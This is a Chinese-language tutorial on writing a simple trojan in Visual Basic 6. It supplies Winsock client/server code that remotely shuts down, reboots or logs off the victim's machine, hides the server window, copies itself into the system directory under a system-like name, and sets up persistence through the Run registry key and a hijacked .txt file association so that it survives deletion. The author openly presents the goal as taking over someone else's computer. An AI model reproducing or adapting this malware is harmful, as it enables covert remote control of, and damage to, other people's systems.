您好,欢迎访问三七文档
编写最简单木马首先,打开MicrosoftVisualBasic6.0,新建一个标准EXE工程,命名为Server,把窗体form1的Name属性为frmServer,在窗体中加入一个winsock控件(在“工程”—“部件”里选取),Name设为sckServer,协议设为默认的TCP/IP协议。接下来我们回来frmServer窗体模块中,添加如下代码:PrivateSubFORM_Load()WithMe.sckServer.LocalPort=4000'本地端口.sckServer.Listen'开始监听EndWithEndSub'接受客户端的连接请求。PrivateSubsckServer_ConnectionRequest(ByValrequestIDAsLong)WithMeIf.sckServer.StatesckClosedThen.sckServer.Close.sckServer.Accept(requestID)EndWithEndSub接下来我们来建立客户端程序:新建一个工程,名为Client,把窗体名为frmClient,同样的在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮改name属性为cmdConnect在窗体模块中加入代码:PrivateSubFORM_Load()WithMe.sckClient.RemoteHost=127.0.0.1'设置远程IP我就随便写了个。.sckClient.RemotePort=4000'远程端口,就为server中的设置一样。EndWithEndSubPrivatesubcmdConnect_Click()SckClient.ConnectEndsub至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.printConnetionsuccessful!来查看。现在仅仅刚开始,这个木马什么都做不了,下面我来为它们添加些功能吧。最简单的,我打算用它实现——关机,重启,注销。好,开始吧!在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:PublicDeclareFunctionExitWindowsExLibuser32AliasExitWindowsEx(ByValuFlagsAsLong,ByValdwReservedAsLong)AsLongPublicConstEWX_LOGOFF=0PublicConstEWX_REBOOT=2PublicConstEWX_SHUTDOWN=1PublicDeclareFunctionClipCursorLibuser32AliasClipCursor(lpRectAsAny)AsLongPublicTypeRECTLeftAsLongTopAsLongRightAsLongBottomAsLongEndType注意哦:在这两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。下面在Client工程的frmClient窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启操作。分别添加如下代码:PrivateSubcmdExit_Click()Me.sckClient.SendDataExitEndSubPrivateSubcmdLogoff_Click()Me.sckClient.SendDataLogoffEndSubPrivateSubcmdReboot_Click()Me.sckClient.SendDataRebootEndSub全都是对服务端发出请求。下面转到Server工程中:在frmServer中添加sckServer的DataArrial事件,接收客户端的请求。PrivateSubsckServer_DataArrival(ByValbytesTotalAsLong)DimstrDataAsStringWithMe'接收客户请求的信息.sckServer.GetDatastrDataSelectCasestrDataCaseExit'关机CallExitWindowsEx(EWX_SHUTDOWN,0)CaseReboot'重启CallExitWindowsEx(EWX_REBOOT,0)CaseLogoff'注销CallExitWindowsEx(EWX_LOGOFF,0)EndSelectEndWithEndSub好了,到此我们已经实现功能了,但还不行,我们要它在隐藏运行。这简单,在frmServer中的FORM_Load事件中加入一句:me.hide。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?没错,那就加吧。回到Server工程中的modApi中加入如下API函数:PublicDeclareFunctionRegOpenKeyLibadvapi32.dllAliasRegOpenKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLongPublicDeclareFunctionRegSetvalueExLibadvapi32.dllAliasRegSetvalueExA(ByValhKeyAsLong,ByVallpvalueNameAsString,ByValReservedAsLong,ByValdwTypeAsLong,lpDataAsAny,ByValcbDataAsLong)AsLongPublicDeclareFunctionRegCreateKeyLibadvapi32.dllAliasRegCreateKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLongPublicConstREG_BINARY=3PublicConstREG_SZ=1PublicConstHKEY_LOCAL_MACHINE=&H80000002PublicConstHKEY_CLASSES_ROOT=&H80000000'写到注册表启动组中的过程。PublicSubStartupGroup()DimsKeyAsStringDimresultAsLongDimhKeyIDAsLongDimsKeyValAsStringsKey=Systrsy'启动组中的键,找一个与系统文件相近的。sKeyVal=C:\windows\system\systrsy.exe'木马文件的路径,可以用GetSystemDirectory来取得系统路径。result=RegOpenKey(HKEY_LOCAL_MACHINE,_Software\Microsoft\Windows\CurrentVersion\Run,hKeyID)Ifresult=0Thenresult=RegSetvalueEx(hKeyID,sKey,0&,REG_SZ,sKeyVal,_Len(sKey)+1)EndIfEndSub好就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码:PublicSubWriteToTxt()DimresultAsLongDimhKeyIDAsLongDimskeyAsStringDimskeyValAsStringskey=txtfile\shell\open\commandskeyVal=C:\windows\system\txtView.exeresult=RegOpenKey(HKEY_CLASSES_ROOT,skeyVal,hKeyID)Ifresult=0Thenresult=RegSetvalueEx(hKeyID,skey,0&,REG_SZ,_skeyVal,Len(skeyVal)+1)EndIfEndSub肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:\windows\system\txtView.exe是哪里来的,我们的木马是C:\windows\system\systrsy.exe呀。这可是我们木马的分身了。好,回到Server工程的frmServer窗体的FORM_Load中,加入如下代码:DimsCurrentPathAsString,sSystemDirAsStringsCurrentPath=App.Path&\&App.EXEName&.exesSystemDir=“C:\windows\system”OnErrorResumeNext'复制文件成系统目录下的Systrsy.exeFileCopysCurrentPath,sSystemDir&\Systrsy.exeOnErrorResumeNext'复制文件成系统目录下的txtView.exeFileCopysCurrentPath,sSystemDir&\txtView.exe'调用CallstartupGroupCallWriteToTxt'判断程序是否下在运行IfApp.PrevInstanceThen'如果已经运行就退出。EndEndIf好了,现在,这个木马已经像个木马了。检查下有没有错误,然后快把它编译为EXE文件吧!只要一运行你的程序,不管在哪里,就会把自身复制到系统目录下(还带一个分身),下次开机自己就运行了,这样你就可以把他的电脑给黑掉了。即使对方发现把它给删了,它一旦打开TXT文件,你的木马又复活了,怎么删也删不掉,
本文标题:编写最简单木马
链接地址:https://www.777doc.com/doc-5703025 .html